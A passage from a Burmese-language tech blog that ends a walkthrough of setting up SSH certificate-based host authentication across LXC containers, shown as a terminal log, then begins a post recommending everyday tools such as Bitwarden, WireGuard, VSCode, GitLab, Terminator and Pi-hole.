root@server1:/home/ubuntu# 
exit
tyla@e32:~/ca$ scp ubuntu@10.93.72.220:ssh_host_rsa_key.pub .
ssh_host_rsa_key.pub                                                                                                                                        100%  566   951.2KB/s   00:00    
tyla@e32:~/ca$ ssh-keygen -s ca_key -I Server1 -V +52w -h ssh_host_rsa_key.pub
Signed host key ssh_host_rsa_key-cert.pub: id "Server1" serial 0 valid from 2024-10-07T21:00:00 to 2025-10-06T21:01:08
tyla@e32:~/ca$ 
tyla@e32:~/ca$ ll
total 32
drwxrwxr-x  2 tyla tyla 4096 Oct  7 18:28 ./
drwxr-x--- 47 tyla tyla 4096 Oct  7 18:31 ../
-rw-------  1 tyla tyla 2590 Oct  7 17:41 ca_key
-rw-r--r--  1 tyla tyla  562 Oct  7 17:41 ca_key.pub
-rw-r--r--  1 tyla tyla 2016 Oct  7 18:28 id_rsa-cert.pub
-rw-r--r--  1 tyla tyla  567 Oct  7 18:27 id_rsa.pub
-rw-r--r--  1 tyla tyla 1823 Oct  7 21:01 ssh_host_rsa_key-cert.pub
-rw-r--r--  1 tyla tyla  566 Oct  7 21:00 ssh_host_rsa_key.pub
tyla@e32:~/ca$ scp ssh_host_rsa_key-cert.pub  ubuntu@10.93.72.220:
ssh_host_rsa_key-cert.pub                                                                                                                                   100% 1823     6.7MB/s   00:00    
tyla@e32:~/ca$ lxc exec server1 bash
root@server1:~# cp /home/ubuntu/ssh_host_rsa_key-cert.pub /etc/ssh/
root@server1:~# cd /etc/ssh
root@server1:/etc/ssh# ll
total 60
drwxr-xr-x  4 root root     16 Oct  7 10:02 ./
drwxr-xr-x 88 root root    176 Oct  7 09:53 ../
-rw-r--r--  1 root root    562 Oct  7 09:58 ca_key.pub
-rw-r--r--  1 root root 505426 Jun 26 13:11 moduli
-rw-r--r--  1 root root   1650 Jun 26 13:11 ssh_config
drwxr-xr-x  2 root root      2 Jun 26 13:11 ssh_config.d/
-rw-------  1 root root    505 Oct  7 09:53 ssh_host_ecdsa_key
-rw-r--r--  1 root root    174 Oct  7 09:53 ssh_host_ecdsa_key.pub
-rw-------  1 root root    399 Oct  7 09:53 ssh_host_ed25519_key
-rw-r--r--  1 root root     94 Oct  7 09:53 ssh_host_ed25519_key.pub
-rw-------  1 root root   2602 Oct  7 09:53 ssh_host_rsa_key
-rw-r--r--  1 root root   1823 Oct  7 10:02 ssh_host_rsa_key-cert.pub
-rw-r--r--  1 root root    566 Oct  7 09:53 ssh_host_rsa_key.pub
-rw-r--r--  1 root root    342 Dec  7  2020 ssh_import_id
-rw-r--r--  1 root root   3292 Oct  7 09:59 sshd_config
drwxr-xr-x  2 root root      3 Oct  2 14:33 sshd_config.d/
root@server1:/etc/ssh# echo "HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub" >> sshd_config
root@server1:/etc/ssh# systemctl reload sshd
root@server1:/etc/ssh# 
exit
tyla@e32:~/ca$ lxc list 
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
|  NAME   |  STATE  |        IPV4         |                     IPV6                      |   TYPE    | SNAPSHOTS |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| client  | RUNNING | 10.93.72.162 (eth0) | fd42:1162:4742:8be6:216:3eff:fef9:3b76 (eth0) | CONTAINER | 0         |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server  | RUNNING | 10.93.72.126 (eth0) | fd42:1162:4742:8be6:216:3eff:fea1:d898 (eth0) | CONTAINER | 0         |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server1 | RUNNING | 10.93.72.220 (eth0) | fd42:1162:4742:8be6:216:3eff:fe26:bffb (eth0) | CONTAINER | 0         |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
tyla@e32:~/ca$ ssh ubuntu@10.93.72.162
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Oct  7 10:03:20 UTC 2024

  System load:           1.32
  Usage of /home:        unknown
  Memory usage:          0%
  Swap usage:            0%
  Temperature:           40.0 C
  Processes:             26
  Users logged in:       0
  IPv4 address for eth0: 10.93.72.162
  IPv6 address for eth0: fd42:1162:4742:8be6:216:3eff:fef9:3b76

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '24.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Last login: Mon Oct  7 07:29:16 2024 from 10.93.72.1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@client:~$ ssh ubuntu@10.93.72.220
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Oct  7 10:03:36 UTC 2024

  System load:           1.25
  Usage of /home:        unknown
  Memory usage:          0%
  Swap usage:            0%
  Temperature:           39.0 C
  Processes:             26
  Users logged in:       0
  IPv4 address for eth0: 10.93.72.220
  IPv6 address for eth0: fd42:1162:4742:8be6:216:3eff:fe26:bffb


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '24.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@server1:~$ 
```

Server-side မှာလုပ်စရာတွေလုပ်ပြီးတာနဲ့ ရှိပြီးသား client ကနေ ဘာမှထွေထွေထူးထူးလုပ်စရာ မလိုပဲနဲ့ ဒီအတိုင်း SSH နဲ့ဝင်ရောက်နိုင်တာကိုတွေ့ရမှာပါ။ စာရေးသူတို့ အနေနဲ့ client အသစ်တွေထပ်ထည့်ချင်ရင်လည်း client-side မှာလုပ်တဲ့ အဆင့်တွေကိုလုပ်လိုက်ရုံနဲ့ SSH ကိုကောင်းမွန်လုံခြုံစွာ စတင်အသုံးချနိုင်ပါတယ်။

Key based authentication ကို setup လုပ်တာထပ်စာရင်၊ certificate based authentication ကို setup လုပ်ရတာ အဆင့်တွေအများကြီးနဲ့ ရှုပ်ထွေးတယ်လို့ဆိုနိုင်ပေမယ့်လည်း သူ့ရဲ့ workflow ထဲမှာကိုက certificate authority (CA) ကိုအသုံးချပြီးတော့ cyber-security မှာလူသိများ CIA (Confidentiality, Integrity and Availability) model ကိုအသုံးချထားပါတယ်။ ဒါကြောင့်လည်း key based authentication မှာလိုမျိုး TOFU အတွက် တကူးတက manually verify လုပ်စရာမလိုပါ။ Scalability အတွက်လည်း လွန်စွာလွယ်ကူတာကြောင့် လုပ်ငန်းခွင်တွေမှာ အတော်လေးကိုအသုံးတည့်နိုင်ပါတယ်။ အားလုံးအတွက်လည်း ဒီ article ဟာအလွယ်တကူ နားလည်နိုင်ပြီး အသုံးတည့်မယ်လို့ မျှော်လင့်ပါတယ်။


# နေ့စဉ်သုံး စိတ်ကြိုက် Application/Software လေးများ

Computer တစ်လုံးမှာ hardware ရယ် software ရယ်ဆိုပြီးတော့ရှိပြီး၊ hardware မှာလည်း လိုအပ်တဲ့ specification များစွာနဲ့ CPU ကတော့ဖြင့် ဘယ်နှ core လဲ၊ ‌ဘယ်နှ thread နဲ့ အပြင် processing power အတွက် လည်း ဘယ်လောက်နှုန်း မြန်သလဲဆိုတာကို ထပ်မံတိုင်းရပြန်ပါတယ်။ ထိုမှတဖန် CPU ဟာ Intel လား၊ AMD လား အပြင် x86 platform အတွက်လား ARM အတွက်လား ဆိုပြီးတော့ ကိုယ်အသုံးပြုတဲ့ vendor တွေကို ထပ်တခါ ခွဲခြမ်းလိုက်ရင်ဖြင့် မကုန်နိုင်တဲ့ hardware အတွက် topic က CPU ဆိုတဲ့ component တစ်ခုတည်းတင်ကို မနည်းပါဘူး။ Hardware တွေမှာလည်း တော်တော်လေးကို စိတ်ဝင်စားဖို့ကောင်းသလို hardware သီးသန့်လိုက်ချင်ရင်လည်း လေ့လာစရာ သိစရာတွေဟာ အများကြီးရှိလို့ နေပြန်ပါတယ်။ အဲ… software ဘက်မှာလည်းပဲ operating system ကနေပြီး kernel ရယ်၊ device driver ရယ်၊ end user တွေအသုံးပြုဖို့အတွက် ထုတ်ထားတဲ့ user space က program သို့မဟုတ် application တွေရှိလို့နေပြန်ပါတယ်။ အားလုံးကို ခြုံငုံမိဖို့ ဆိုတာတော့ နည်းနည်းခက်မယ်ထင်ပါတယ်။ ဒါတောင်မှ system ပိုင်းကိုပဲပြောတာဖြစ်လို့ coding ဘက်တောင်မရောက်သေးပါဘူး။ Coding ဘက်မှာလည်း လိုက်ပြီးတော့လေ့လာ စရာ programming language ပေါင်းများစွာနဲ့ Framework တွေရှိလို့နေပြန်ပါတယ်။ IT လို့ပြောလိုက်ရင် များသောအားဖြင့်က အကုန်လုံးကို သိတယ်လို့ ယူဆတတ်လို့ တခါတခါ IT ထဲကမဟုတ်တဲ့ မိတ်ဆွေတွေ သူငယ်ချင်းတွေကို ရှင်းပြရတာ အခက်တွေ့ရတတ်လွန်းလို့ပါ။ ဒီ post မှာကတော့ application လေးနဲ့ ပတ်သတ်တဲ့ အကြောင်းလေးတစ်ခုကို ပေါ့ပေါ့ပါးပါး တစ်ခုရေးမယ်လို့ စိတ်ကူးမိတာနဲ့ ရေးဖြစ်ပါတယ်။

အရင်တုန်းကလည်း အခြားသော post အဟောင်းတွေမှာရေးခဲ့သလိုပဲ နောက်ပိုင်း software တွေ application တွေ ကို ရွေးတဲ့အခါမှာ opensource နဲ့ free ဖြစ်လား မဖြစ်သလားကို အရင်ဆုံးကြည့်ပါတယ်။ ထို့နောက်… enterprise မှာအသုံးပြုဖို့အတွက် ဘယ်လို feature တွေပါသလဲ၊ pricing ကဘယ်လိုရှိသလဲ စသည်သဖြင့် အဆင့်ဆင့် စစ်ဆေးချလိုက်ပြီးတော့မှ ကိုယ့်အတွက် ဘယ်လိုအသုံးဝင်သလဲဆိုတာကိုကြည့်တယ်။ Opensource မှာ software တစ်ခုရဲ့ offering ဟာတစ်ခုနဲ့ တစ်ခုမတူပါဘူး။ Business model တွေဟာလည်း တစ်ခုနဲ့ တစ်ခုမတူတာကြောင့် နှစ်ခုယှဉ်ပြီးတော့ ကြည့်လိုက်ရင်ဖြင့် ဘယ်တစ်ခုက ပိုပြီး opensource နဲ့ free software အတွက် offering ပိုပြီးတော့ ကောင်းသလဲဆိုတာကို သိနိုင်ပါတယ်။ အချို့သော software တွေဟာ opensource လို့ပြောသော်လည်း offering ညံ့လို့ ပဲဖြစ်ဖြစ်၊ business model ကြောင့်ပဲဖြစ်ဖြစ် အခမဲ့ရနိုင်တဲ့ feature က free edition မှာ နည်းလွန်း ညံ့လွန်းတာတွေလည်း ရှိပါတယ်။ စာရေးသူအတွက်တော့ software တစ်ခုကို ကိုယ့်အတွက်ဖြစ်ဖြစ် ကိုယ့်အလုပ်အတွက် ဖြစ်ဖြစ် recommend လုပ်တော့မယ်ဆိုရင် အထက်မှာပြောတဲ့ အချက်တွေကို သေသေချာချာအရင် ကြည့်တတ်ပါတယ်။ ကိုယ်သတ်မှတ်ထား criteria ထဲမှာ မဝင်ဘူးဆိုရင် အခြားအခြားသော alternatives တွေကို အချိန်ပေးပြီးတော့ လိုက်ရှာတတ်ပါတယ်။ အားလုံးစိတ်တိုင်းကျပြီဆိုမှ အရင်ဆုံး စမ်းသုံးကြည့် ပါတယ်။ စမ်းသုံးလို့လည်း အဆင်ပြေတယ်ဆိုမှပဲ နေ့စဉ်ကိုယ်အသုံးပြုတဲ့ tool chain တစ်ခုအနေနဲ့ ထည့်ပြီး အသုံးပြုပါတော့တယ်။ ဒီ process က ကိုယ့်အတွက် software တစ်ခုလိုပြီ၊ tool တစ်ခုလိုပြီဆိုရင် ထပ်ခါထပ်ခါလုပ်တဲ့အတွက် အကျင့်လေးတစ်ခုလိုတောင်ဖြစ်လို့နေပါသေးတယ်။ စိတ်တိုင်းကျလွန်းတဲ့ application/software တွေ အကြောင်းကိုသွားလိုက်ရအောင်ဗျာ။

### ၁. Bitwarden

ဒီ Bitwarden ဆိုတဲ့ open source password manager လေးကို စတင်အသုံးပြုဖြစ်တာ တစ်နှစ်လောက်တောင်ရှိတော့မယ်ထင်ပါတယ်။ Bitwarden ကို မသုံးဖြစ်သေးခင်ကတော့ KeePass လို offline password manager တွေကို Google Drive နဲ့ တွဲပြီးတော့ အသုံးပြုပါတယ်။ kdbx file တွေကို sync လုပ်တဲ့ အခါမှာတော့ အချို့အဆင်မပြေတာတွေ ရှိသော်လည်း ကြီးကြီးမှားမှား ပြဿနာရယ်လို့တော့ မရှိပါဘူး။ Bitwarden မှာရနိုင်တဲ့ feature တော်တော်များများ တော့ KeePass မှာမရပါ။

Bitwarden ကိုစပြီးတော့သုံးကတည်း personal vault ရဲ့ Premium Features ကို တစ်နှစ်ကို US $10 ပေးပြီးတော့ သုံးဖြစ်ပါတယ်။ Free ကိုအသုံးပြုလို့ ရနိုင်သော်လည်း တစ်နှစ်လုံးမှာမှ US $10 ပေးရလို့ Bitwarden ကို support လုပ်တဲ့အနေနဲ့ Premium Features တွေကို မလိုအပ်ပါနဲ့ ပေးဝယ်လိုက်ခဲ့ပါတယ်။ အခုအချိန်ထိ အသုံးပြုသလောက်တော့ အခြားအခြားသော password manager တွေထက် အများကြီး သာပြီးတော့ စျေးနှုန်းအားဖြင့်လည်းအသင့်ပဲဖြစ်တဲ့အတွက် စိတ်တိုင်းတော်တော်လေးကိုကျမိတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bbc592f5663190f76d31f0acb9f70581731f2a6e%2FBitward-Pricing-768x368.png?alt=media" alt=""><figcaption></figcaption></figure>

Bitwarden မှာ self-hosting လုပ်ချင်ရင်လည်း လုပ်ဖို့အတွက် options တွေရှိပါတယ်။ Docker နဲ့ Docker Compose နဲ့မို့ deploy လုပ်ရာမှာလည်း တော်တော်လေးကို လွယ်ကူပါတယ်။ သို့သော် ကိုယ့်ရဲ့ environment ကို secure ဖြစ်အောင်လုပ်ဖို့ကတော့ နည်းနည်းလေးကသီလို့ personal အတွက်အသုံးပြုတယ်ဆိုရင်တော့ သူ့ရဲ့ cloud server ကပိုပြီးတော့ လွယ်မယ်လို့ ထင်ပါတယ်။ Bitwarden ကိုလည်း အခြားသော 3rd party auditor တွေက audit လုပ်ပြီးတော့မှ ယုံကြည်စိတ်ချလို့ ရတယ်လို့ ဆိုပါတယ်။ 100% opensource ဖြစ်တဲ့အတွက် codebase မှာလည်း အရှုပ်အရှင်းဘာတွေရှိသလဲဆိုတာကို သိနိုင်လို့ စိတ်အေးနိုင်ပါတယ်။ ကိုယ့်ရဲ့ data တွေကိုလည်း cloud storage မှာ encrypt လုပ်ပြီးတော့မှ တင်တဲ့အတွက် အတိုင်းအတာတစ်ခုထိတော့ စိတ်ချလို့ ရနိုင်ပါတယ်။ လုံးဝယုံကြည်စိတ်ချရတဲ့ cloud ဆိုတာတော့ မရှိသေးတဲ့အတွက် အဆိုးဆုံးကိုလည်း ကြိုပြီးတော့ တွေးတော့ထားရပါ့မယ်။ စာရေးသူအတွက်တော့ အတော်လေးကို စိတ်ကြိုက်တွေ့မိတဲ့ နေ့စဉ်သုံး application လေးတစ်ခုပါ။ Bitwarden ရဲ့ website ကတော့ <https://bitwarden.com/> ပါ။ ကိုယ်တိုင်သွားရောက်လေ့လာလို့ရပါတယ်။

### ၂. WireGuard

VPN ဆိုရင် အချို့လူတွေ သိထားတာက VPN provider တွေဖြစ်တဲ့ NordVPN တို့၊ ExpressVPN တို့ကိုပဲပြေးပြီးတော့မြင်တတ်ပါတယ်။ အချို့ကလည်း VPN ကို security အတွက်ဆိုပြီးတော့ အသုံးပြုကြပါတယ်။ နေရာတိုင်းတော့ VPN ဆိုတာကြီးက security အတွက်သီးသန့်တော့ မဖြစ်ပါဘူး။ မည်သို့ပင်ဖြစ်စေ အခုခေတ်ကြီးထဲမှာ အဘိုးကြီးလည်း VPN အဘွားကြီးလည်း VPN မို့ VPN ဆိုတာကို မသိတဲ့လူသိပ်မရှိတော့ပါဘူး။ စာရေးသူကတော့ VPN ကို အလုပ်အတွက် နေ့တိုင်းအသုံးပြုရပါတယ်။ အလုပ်မှာ သူတို့သတ်မှတ်ထားတဲ့ VPN solution ကိုသုံးပါတယ်။ Personal အတွက်ဆိုရင်တော့ OpenVPN သို့မဟုတ် WireGuard ကို အိမ်က network ကိုလှမ်းချိတ်ဖို့ အသုံးပြုနေရင်းကနေ နောက်ပိုင်းမှတော့ WireGuard ကိုပဲနေ့တိုင်း အသုံးပြုဖြစ်ပါတော့တယ်။ WireGuard ကို ကိုယ့်အိမ်က network မှာ setup လုပ်ပုံကိုတော့ ဒီ [link](https://www.itmatic101.com/2020/01/15/wireguard/) ကနေသွားပြီးတော့ ဖတ်ရှုနိုင်ပါတယ်။ Installation နဲ့ လိုအပ်တဲ့ configuration လုပ်နည်းတွေကို ရှင်းပြပေးထားပါတယ်။

{% embed url="<https://my.itmatic101.com/networking/wireguard-intro>" %}
WireGuard ကို configure လုပ်ပုံ
{% endembed %}

Mesh network တစ်ခုကို တည်ဆောက်နိုင်ဖို့အတွက်လည်း WireGuard ရဲ့ developer team ကကြိုးပမ်းနေပါတယ်။ အခုဆိုရင် WireGuard ဟာ Linux kernel ထဲမှာ တပါတည်း ပါပြီးသားမို့ အရင်တုန်းကလိုတောင် ppa ကို ထပ်မံ ပေါင်းထည့်စရာမလိုတော့ပါ။ WireGuard ကိုတော့ သူရဲ့ website ဖြစ်တဲ့ [https://www.wireguard.com/ ](https://www.wireguard.com/)မှာသွားပြီးတော့ ဖြည့်ပြီးတော့ လေ့လာလို့ရပါတယ်။ Documentation နဲ့ community ကောင်းကောင်းရှိတာမို့ တစ်ခုခုလိုအပ်ရင် ဝေးဝေးလံလံ လိုက်ပြီးတော့ ရှာဖွေစရာမလိုပါဘူး။ အသုံးပြုလို့ လွယ်ကူတာတစ်ခုနဲ့ asymmetric key exchange နဲ့ encryption နည်းစနစ်တွေပါဝင်တာမို့ တော်တော်လေးကို နှစ်သက်မိပါတယ်။ လူတိုင်း အသုံပြုသင့်တဲ့ VPN solution တစ်ခုပါ။

### ၃. Visual Studio Code (VSCode)

Microsoft ကထုတ်သမျှထဲမှာ အကြိုက်ဆုံး software/technology ကို ပြောပါဆိုရင် Active Directory နဲ့ Visual Studio Code နှစ်ခုလို့ပြောရမှာဖြစ်ပါတယ်။ နှစ်ခုထဲက တစ်ခုရွေးပါဆိုရင်တော့ Visual Studio Code လို့ပဲဆိုရမှာပါ။ Microsoft က VSCode ကို opensource လုပ်ပေးပြီးတဲ့နောက်မှာတော့ သူ့ရဲ့ platform တစ်ခုလုံးဟာ အရမ်းကို versatile ဖြစ်လာတယ်လို့ဆိုနိုင်ပါတယ်။ plugin လေးတွေကို အသုံးပြုပြီးတော့ ကိုယ်တွဲသုံးမယ့် linter လေးတွေကို ထည့်သွင်းအသုံးပြုနိုင်တာမို့ ပုံမှန် text editor တစ်ခုကနေပြီးတော့ full-blown IDE တစ်ခုပမာဖြစ်လာပါတော့တယ်။ VSCode မတိုင်ခင်က စာရေးသူ Atom ဆိုတဲ့ text editor တစ်ခုကို အသုံးပြုပါတယ်။ နောက်ပိုင်းမှာတော့ VSCode ကို အသုံးပြုလာရာကနေပြီးတော့ VSCode ကိုပဲ သီးသန့်နေ့တိုင်း သုံးဖြစ်ပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8b613ed9dc8225ebf8f1500faca01b2f10f1676f%2Fvscode-768x609.png?alt=media" alt=""><figcaption></figcaption></figure>

Atom နဲ့ ယှဉ်လိုက်ရင် VSCode ဟာ ပိုပြီးတော့ stable ဖြစ်တယ်လို့တော့ ထင်ပါတယ်။ VSCode ဟာ Microsoft ရဲ့ umbrella အောက်မှာရှိလို့ မသုံးချင်ဘူးဆိုတဲ့ သူတွေအတွက်တော့ VSCodium ဆိုတဲ့ community-driven alternative တစ်ခုရှိပါတယ်။ အားလုံးနီးပါးဆင်တူဖြစ်ပြီးတော့ Chrome နဲ့ Chromium ကွာခြားသလိုပဲ လို့ အပေါ်ယံမြင်နိုင်ပါတယ်။ စာရေးသူအတွက်တော့ opensource လည်းဖြစ် free လည်းဖြစ်တာမို့ VSCode ကိုသုံးဖို့အတွက် အကြောင်းဖန်လာပါတယ်။ VSCode ရဲ့ website ကတော့ <https://code.visualstudio.com/> ဖြစ်ပြီးတော့၊ VSCodium ရဲ့ website ကတော့ [https://vscodium.com/ ](https://vscodium.com/)တို့ပဲဖြစ်ပါတယ်။ Features တွေအများကြီးပါတာမို့ sysadmin အတွက် ဖြစ်ဖြစ်၊ automation engineer အတွက် ပဲဖြစ်ဖြစ်၊ programmer အတွက် ပဲဖြစ်ဖြစ် IT system တစ်ခုခုနဲ့ နေ့စဉ် ထိတွေ့လုပ်ကိုင်နေရတဲ့ သူအတွက်တော့ VSCode ဟာ မရှိမဖြစ် tool တစ်ခုပါ။

### ၄. GitLab

version control အတွက် Git ကိုသုံးဖြစ်တာနှစ်နှစ်လောက်နီးပါးရှိပါတော့မယ်။ များသောအားဖြင့် configuration file တွေနဲ့ အချို့သော script တွေကို version control လုပ်ဖို့ရာအတွက် Git ကို အသုံးပြုဖြစ်ပါတော့တယ်။ အရင်ကတော့ Git ကိုယ်နဲ့ မဆိုင်သလိုပဲနေရာကနေပြီးတော့ သုံးရင်းသုံးရင်းကနေ မရှိမဖြစ် နေ့စဉ်သုံး tool လေးတစ်ခုဖြစ်လာပါတော့တယ်။ အစမှာတော့ GitHub ကိုသုံးဖြစ်ရာကနေပြီးတော့ GitLab ဆိုတာကိုလည်း တပြိုင်နက်တည်းမှာလိုပဲ သုံးနေဖြစ်ပါတယ်။ အဲ့ဒီတုန်း Microsoft တောင် GitHub ကို မဝယ်သေးပါဘူး။ သို့သော် GitHub မှာ ရှိတဲ့ free offering က GitLab ရဲ့ free offering လောက် မကောင်းတာကို တွေ့ရလို့ GitLab ကိုပဲ အသုံးများလာပါတော့တယ်။ အဲ့ဒီနောက်မှာတော့… GitHub ကို Microsoft ကဝယ်လိုက်တယ်။ ဒါနဲ့ပဲ GitLab ကိုပဲ တောက်လျှောက်အသုံးပြုပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c7fadef4cde5a378dc5b84c7169e00016d826a3f%2Fgitlab-cicd-pipeline-768x303.png?alt=media" alt=""><figcaption></figcaption></figure>

ထူးခြားတာတစ်ခုကတော့… GitLab မှာ သူနဲ့ပါလာတဲ့ CI/CD pipeline ရှိပြီးသားဖြစ်တဲ့အတွက် Jenkins လိုမျိုး CI/CD pipeline engine တစ်ခုကို integrate လုပ်ပြီးတော့ အသုံးပြုစရာမလိုပါဘူး။ ဒါ့အပြင် နောက်ရနိုင်တဲ့ option တစ်ခုက တကယ်လို့များ ကိုယ်က self-hosted လုပ်ချင်တယ်ဆိုရင်လည်း opensource မို့ ကိုယ်တိုင် server ပေါ်မှာတင်ပြီးတော့ run လို့လည်းရပါတယ်။ Docker နဲ့ Docker Compose ကိုပဲ အသုံးပြုပြီးတော့ deploy လုပ်နိုင်တာဖြစ်တဲ့အတွက် အတော်လေးကို လွယ်ကူပါတယ်။ static site generator တွေ တော်တော်များများ ကိုလည်း အသုံးပြုပြီးတော့ GitLab Pages မှာ ကိုယ့်ရဲ့ blog တွေကို အခမဲ့ host လို့ရတဲ့အတွက် အရမ်းကိုအဆင်ပြေပါတယ်။ GitHub မှာလည်း Pages ဆိုတဲ့ offering ရှိပါတယ်။ စာရေးသူ အတွက်တော့ GitLab က Pages ရဲ့ CI/CD Pipeline နဲ့တွဲပေးပြီးတော့ deploy လုပ်တဲ့လို့ရတဲ့ offering ကိုပိုပြီးတော့ elegant ဖြစ်တယ်လို့ထင်လို့ပါ။ GitLab ရဲ့ website ကတော့ [https://gitlab.com/](https://gitlab.com/t) ဖြစ်ပါတယ်။ အခြားသော repo အတွက် wiki တို့၊ Snippets တို့လိုမျိုး feature တွေပါဝင်တာမို့ ကိုယ်လိုတဲ့ဟာ ကိုအဆင်သင့်ယူပြီး သုံးရုံပါပဲ။

### ၅. Terminator

နေ့စဉ်မရှိမဖြစ် အသုံးပြုရတဲ့ tool တွေထဲမှာ Terminator ဟာလည်း စာရေးသူအတွက် ထိပ်ဆုံးမှာပါ။ Ubuntu ရဲ့ default ပါလာတဲ့ Gnome Terminal ကို သုံးလည်းရပါတယ်။ သို့သော်… Terminator ရဲ့ window tiling ပုံစံနဲ့ အမြင်အားဖြင့် ကြည့်ရတာရှင်းတဲ့အတွက် တော်တော်လေးကို နှစ်သက်မိပါတယ်။ နောက်ပြီးတော့ ပုံမှန် terminal emulator တွေထက်ပိုပြီးတော့ အမြင်ဆန်းတယ်လို့ထင်တဲ့အတွက် နေ့စဉ်မရှိမဖြစ် tool ထဲမှာထည့်သွင်းလိုက်ရခြင်းဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-0a60531dd6abe1da63afa7456b6186eb08ea1691%2Fterminator.png?alt=media" alt=""><figcaption></figcaption></figure>

Terminator မှာရှိတဲ့ feature တွေအကုန်လုံးအကြောင်းကို သိချင်ရင်တော့ သူ့ရဲ့ readthedocs website က [https://terminator-gtk3.readthedocs.io/en/latest/#](https://terminator-gtk3.readthedocs.io/en/latest/) ဖြစ်ပြီး Debian နဲ့ Ubuntu လိုမျိုး dpkg သုံးတဲ့ distro တွေမှာ `sudo apt install terminator` ဆိုပြီးတော့ install လုပ်ပြီးတော့ စတင်အသုံးပြုရုံပါပဲ။

### ၆. Pi-hole

Google တို့ Facebook တို့လို platform တွေမှာ Ads တွေ run ပြီးတော့ tracker တွေလုပ်လွန်းလို့ တခါတခါတော်တော်လေးကို စိတ်ပျက်မိပါတယ်။ Online မှာ ပစ္စည်းတစ်ခု အကြောင်းကို သိချင်လို့ ရှာဖတ်တာမှ မကြာသေးဘူး ကိုယ့်ရဲ့ Facebook မှာဖြစ်ဖြစ် Google ရဲ့ Ads မှာဖြစ်ဖြစ်လာလာပေါ်တတ်ပါတယ်။ ဘာလို့လဲ သိချင်ရင်တော့ Pi-hole ကိုသာ ကိုယ့် network ပေါ်မှာ တင်ပြီးတော့ ကြည့်လိုက်ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-fb9b4e5054bb4b1edd643df24b0be2c05742c0d4%2Fpi-hole-768x528.png?alt=media" alt=""><figcaption></figcaption></figure>

Pi-hole ကို Raspberrypi မှာတင်ပြီးတော့ run လို့ရအောင်လုပ်ထားတဲ့ အတွက်ဘယ်လောက်တောင် lightweight ဖြစ်သလဲဆိုတာတော့ သိလောက်မယ်ထင်ပါတယ်။ Setup လုပ်ဖို့ရာအတွက်လည်း RPi မှာပဲဖြစ်ဖြစ်၊ Bare-metal server ပေါ်မှာပဲဖြစ်ဖြစ်၊ VM မှာဖြစ်ဖြစ် တင်ပြီးတော့ ကိုယ့် network တစ်ခုလုံးအတွက် recursive DNS resolver တစ်ခုအနေနဲ့ တင်ပြီးတော့ အသုံးပြုနိုင်ပါတယ်။ ublocker လို AdBlocker တွေကိုအသုံးပြုလို့ ရနိုင်သော်လည်း ကိုယ့်အိမ်မှာ အသုံးပြုနေတဲ့ device တွေအကုန်လုံးကို Adblocker တွေလိုက် install လုပ်ဖို့ ထက် Pi-hole ကိုအသုံးပြုခြင်းအားဖြင့် ပိုပြီးတော့ ထိရောက်နိုင်ပါတယ်။ ublocker လို Adblocker တွေကိုလည်းတွဲပြီးတော့ အသုံးပြုနိုင်ရင်တော့ anti-virus လို software တွေကိုယ့်စက်ပေါ်မှာအသုံးပြုတာထက်တောင် ပိုပြီးတော့ ထိရောက်မူရှိပြီး ကိုယ့်အိမ်သူအိမ်သားတွေအားလုံးအတွက် စိတ်ချနိုင်မှာပါ။ ကိုယ့်အိမ်ရဲ့ network ပေါ်မှာတော့ မရှိမဖြစ် အသုံးပြုသင့်တဲ့ software တစ်ခုပါ။ Pi-hole ရဲ့ website ကတော့ <https://pi-hole.net/> ဖြစ်ပြီးတော့ သိချင်တဲ့ဟာတွေကို ဖြည့်စွတ်ပြီးတော့ သိရအောင်လို့ သွားရောက်လေ့လာလို့ရပါတယ်။

